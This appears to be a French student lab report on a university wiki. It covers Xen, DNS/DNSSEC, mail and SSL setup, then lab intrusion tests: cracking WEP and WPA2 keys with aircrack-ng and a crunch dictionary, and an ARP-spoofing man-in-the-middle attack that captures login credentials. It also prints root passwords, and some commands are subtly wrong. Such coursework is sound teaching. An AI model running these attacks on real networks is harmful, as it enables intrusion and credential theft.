<div></div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=53949TP sysres IMA2a5 2020/2021 G52020-11-20T10:02:23Z<p>Aglaine : /* Envoie du SSL Certification Gandi */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on tajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une paserell doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interfacte avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comem ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié nottre dns a une ip, il faur renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas gandi ne pourras pas liée les dns a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon nottre système de clef ne fonctionnera pas.<br />
pour commancer, on crée un repertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les rennomer pouyr plus de transparance.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a gandi comme montrer ci-dessous en n'oubliant pas de selectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le dns et représanter la chaine d'autentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une méchagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérfication de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenètre de configuration s'ouver. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la reception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les méssage recu en tappant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on resoit bien les message en provenance du mail de Polytech.<br />
Pour que gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoint de pouvoir recevoirr les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commance <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différante care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyet le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de gandi on resoit un codde de confimartion ainsi q'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers gandi a télechargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
